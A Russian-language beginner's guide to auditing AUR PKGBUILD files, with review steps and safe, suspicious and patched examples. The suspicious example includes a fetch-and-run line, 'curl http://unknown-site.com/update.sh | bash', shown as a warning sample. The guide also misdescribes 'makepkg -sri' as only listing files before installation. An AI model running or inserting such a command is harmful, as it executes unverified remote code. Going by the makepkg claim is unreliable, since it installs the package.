Как правильно проверять PKGBUILD при установке пакетов из AUR

Зачем проверять файл PKGBUILD?

Проверка файла PKGBUILD перед установкой пакетов из Arch User Repository (AUR) - важный шаг для обеспечения безопасности и стабильности системы, так как пакеты из AUR не проходят официальную проверку, как пакеты в репозиториях Manjaro или Arch Linux. Это руководство создано для новичков и поможет минимизировать риски установки небезопасного или проблемного программного обеспечения. Мы разберём процесс шаг за шагом и разберем примеры безопасного и подозрительного PKGBUILD.

Почему важно проверять PKGBUILD?

• Безопасность: PKGBUILD может содержать вредоносный код, который выполняется с правами root (администратора) при установке и может повредить систему.
• Стабильность: Неправильные настройки или зависимости могут вызвать сбои в работе программ или системы.
• Качество: Пакет может быть устаревшим, плохо настроенным или несовместимым с вашей версией Manjaro.

Пошаговая инструкция по проверке PKGBUILD

1. Клонируйте или скачайте пакет из AUR
   • Используйте AUR-хелпер, например yay, чтобы скачать файлы пакета без установки:

     yay -G <название_пакета>

     или клонируйте вручную с помощью Git:

     git clone https://aur.archlinux.org/<название_пакета>.git

   • Пример: Если вы хотите проверить пакет example-package, выполните:

     yay -G example-package

   • Это создаст папку с именем пакета, где находится PKGBUILD и другие файлы.
2. Перейдите в директорию пакета
   • Перейдите в папку:

     cd <название_пакета>

     Например:

     cd example-package

   • Убедитесь, что PKGBUILD есть в папке:

     ls

     Вы должны увидеть файл PKGBUILD и, возможно, файлы вроде .SRCINFO или патчей (*.patch).
3. Просмотрите содержимое PKGBUILD
   • Откройте PKGBUILD в текстовом редакторе, например nano или vim:

     nano PKGBUILD

     Или используйте графический редактор, например mousepad или gedit.
   • Для yay можно вывести PKGBUILD в терминал:

     yay -Gp <название_пакета>

     Или получить информацию о пакете:

     yay -Si <название_пакета>

4. Проверьте ключевые секции PKGBUILD
   • Метаданные:
     • pkgname, pkgver, pkgrel: Убедитесь, что имя и версия пакета совпадают с тем, что вы ожидаете. Например, pkgname=example-package, pkgver=1.0.0.
     • url: Проверьте, что ссылка ведёт на официальный сайт или репозиторий (например, GitHub, GitLab). Подозрительно, если ссылка отсутствует или ведёт на неизвестный сайт.
     • license: Лицензия должна соответствовать ПО (например, GPL, MIT). Если лицензия отсутствует, это плохой знак.
   • Источник (source):
     • Убедитесь, что файлы загружаются из надёжных источников (например, https://github.com).
     • Проверьте, что ссылки используют безопасный протокол (https, а не http).
     • Если используются локальные файлы (патчи), они должны быть в папке пакета и выглядеть безопасно.
   • Хэш-суммы (sha256sums, md5sums):
     • Контрольные суммы подтверждают, что загружаемые файлы не были изменены. Пример: sha256sums=('a1b2c3d4e5f6...').
     • Если указано SKIP, это риск: файл может быть подменён. Всегда проверяйте источник в таком случае.
   • Зависимости (depends, makedepends):
     • Проверьте, что зависимости логичны. Например, для текстового редактора ожидаемы зависимости вроде gtk3, но подозрительно, если указан nginx.
     • Убедитесь, что нет лишних или неизвестных пакетов.
   • Функции сборки (build(), package()):
     • Это команды, которые выполняются при сборке и установке. Ищите:
       • Подозрительные команды, такие как rm -rf, sudo, curl | sh.
       • Убедитесь, что установка идёт в $pkgdir (временная директория для сборки), а не в системные папки вроде /usr напрямую.
       • Избегайте пакетов, выполняющих сетевые запросы без проверки или удаляющих файлы.
5. Проверьте дополнительные файлы
   • Если есть файл .install или патчи (*.patch), просмотрите их:

     nano <имя_файла>.install

   • Убедитесь, что они не содержат команды, изменяющие системные настройки или удаляющие файлы.
6. Используйте makepkg для проверки сборки
   • Проверьте целостность файлов без сборки:

     makepkg --nobuild

     Это загрузит файлы из source и проверит их хэш-суммы.
   • Чтобы увидеть, какие файлы будут установлены:

     makepkg -sri

     Это соберёт и покажет список файлов перед установкой.
7. Проверьте комментарии и репутацию пакета
   • На странице AUR (aur.archlinux.org) проверьте:
     • Комментарии: Пользователи часто пишут о проблемах или уязвимостях.
     • Maintainer: Надёжный мейнтейнер (с долгой историей или многими пакетами) вызывает больше доверия.
     • Popularity и Last Updated: Устаревшие пакеты (не обновлялись годами) могут быть проблемными.
   • Получите информацию о пакете:

     yay -Si <название_пакета>

8. Используйте безопасные практики
   • Изолированная сборка: Используйте makepkg --clean для чистой сборки или AUR-хелперы вроде paru с поддержкой изоляции.
   • Песочница: Стройте пакеты в firejail или docker для дополнительной безопасности.
   • Проверка вручную: Выполните makepkg --nobuild и проверьте файлы в папке pkg.
9. Установите пакет только после проверки
   • Если всё безопасно, установите:

     yay -S <название_пакета>

     или вручную:

     makepkg -si

Примеры анализа PKGBUILD

Пример 1: Безопасный PKGBUILD

Рассмотрим PKGBUILD для пакета example-package, который устанавливает простой текстовый редактор:

pkgname=example-package
pkgver=1.0.0
pkgrel=1
pkgdesc="Простой текстовый редактор"
url="https://github.com/example/project"
license=('MIT')
source=("https://github.com/example/project/archive/v${pkgver}.tar.gz")
sha256sums=('a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b')
depends=('gtk3')

build() {
  cd "$srcdir/project-$pkgver"
  ./configure --prefix=/usr
  make
}

package() {
  cd "$srcdir/project-$pkgver"
  make DESTDIR="$pkgdir" install
}

Разбор:

• url: Ссылка на GitHub - надёжный источник.
• source: Загружается tar-архив по HTTPS.
• sha256sums: Указана контрольная сумма, можно проверить с makepkg --nobuild.
• depends: Зависимость gtk3 логична для графического редактора.
• build() и package(): Стандартные команды ./configure, make, make install с установкой в $pkgdir - безопасно.
• Вывод: Этот PKGBUILD выглядит безопасным, если источник и хэш-суммы проверены.

Пример 2: Подозрительный PKGBUILD

Теперь рассмотрим проблемный PKGBUILD, который может быть опасным:

pkgname=suspicious-package
pkgver=1.0
pkgrel=1
pkgdesc="Some tool"
url="http://unknown-site.com"
license=('unknown')
source=("http://unknown-site.com/script.sh")
sha256sums=('SKIP')
depends=('bash')

package() {
  mkdir -p "$pkgdir/usr/bin"
  cp script.sh "$pkgdir/usr/bin/suspicious-tool"
  chmod +x "$pkgdir/usr/bin/suspicious-tool"
  curl http://unknown-site.com/update.sh | bash
}

Разбор:

• url: Ссылка на неизвестный сайт (http://unknown-site.com) с протоколом http (небезопасно).
• source: Загружается скрипт script.sh с подозрительного сайта.
• sha256sums: Указано SKIP, что не позволяет проверить целостность файла.
• license: Указано unknown - это нестандартно и подозрительно.
• package(): Команда curl http://unknown-site.com/update.sh | bash выполняет скрипт из интернета без проверки - это очень опасно, так как может содержать вредоносный код.
• Вывод: Этот PKGBUILD небезопасен. Избегайте установки таких пакетов.

Пример 3: PKGBUILD с патчем

Рассмотрим PKGBUILD с патчем, чтобы понять, как проверять дополнительные файлы:

pkgname=example-app
pkgver=2.0
pkgrel=1
pkgdesc="Приложение с патчем"
url="https://github.com/example/app"
license=('GPL')
source=("https://github.com/example/app/archive/v${pkgver}.tar.gz" "fix-bug.patch")
sha256sums=('b1c2d3e4f5a6...' 'c1d2e3f4a5b6...')
depends=('qt5-base')

prepare() {
  cd "$srcdir/app-$pkgver"
  patch -p1 < ../fix-bug.patch
}

build() {
  cd "$srcdir/app-$pkgver"
  qmake
  make
}

package() {
  cd "$srcdir/app-$pkgver"
  make DESTDIR="$pkgdir" install
}

Разбор:

• source: Загружается архив с GitHub и патч fix-bug.patch.
• sha256sums: Указаны суммы для обоих файлов, что позволяет проверить их целостность.
• prepare(): Применяется патч с помощью patch -p1 - стандартная практика.
• Действия: Просмотрите файл fix-bug.patch (nano fix-bug.patch). Убедитесь, что патч изменяет только код приложения (например, исправляет ошибку) и не добавляет подозрительных команд.
• Вывод: Если патч выглядит безопасным (например, изменяет строки в коде без выполнения скриптов), этот PKGBUILD можно считать надёжным.

Чего избегать

• Отсутствие хэш-сумм: Если sha256sums указано как SKIP, файлы могут быть подменены.
• Скрипты в source: Например, source=("script.sh") может быть опасно, если скрипт выполняется автоматически.
• Команды с sudo или удалением файлов: Например, rm -rf /tmp/* или sudo chmod в PKGBUILD или .install.
• Непрозрачные патчи: Если патч содержит бинарные данные или сложный код, это требует дополнительной проверки.
• Сетевые запросы: Команды вроде curl | bash или wget без проверки содержимого.

Полезные инструменты

• aurutils: Автоматизирует проверку и сборку AUR-пакетов.
• namcap: Анализирует PKGBUILD на ошибки и потенциальные проблемы:

  sudo pacman -S namcap
  namcap PKGBUILD

• paru или yay: AUR-хелперы с функцией просмотра PKGBUILD перед установкой.

Рекомендации для новичков

• Начните с популярных пакетов: они чаще проверены сообществом и более надёжны.
• Читайте комментарии на странице AUR: пользователи часто сообщают о проблемах или уязвимостях.
• Тестируйте в виртуальной машине или контейнере, если не уверены в пакете.
• Создавайте резервные копии системы с помощью timeshift перед установкой AUR-пакетов.
• Будьте осторожны с обновлениями: команда yay -Syu обновляет все пакеты, включая AUR, что может привести к нестабильности.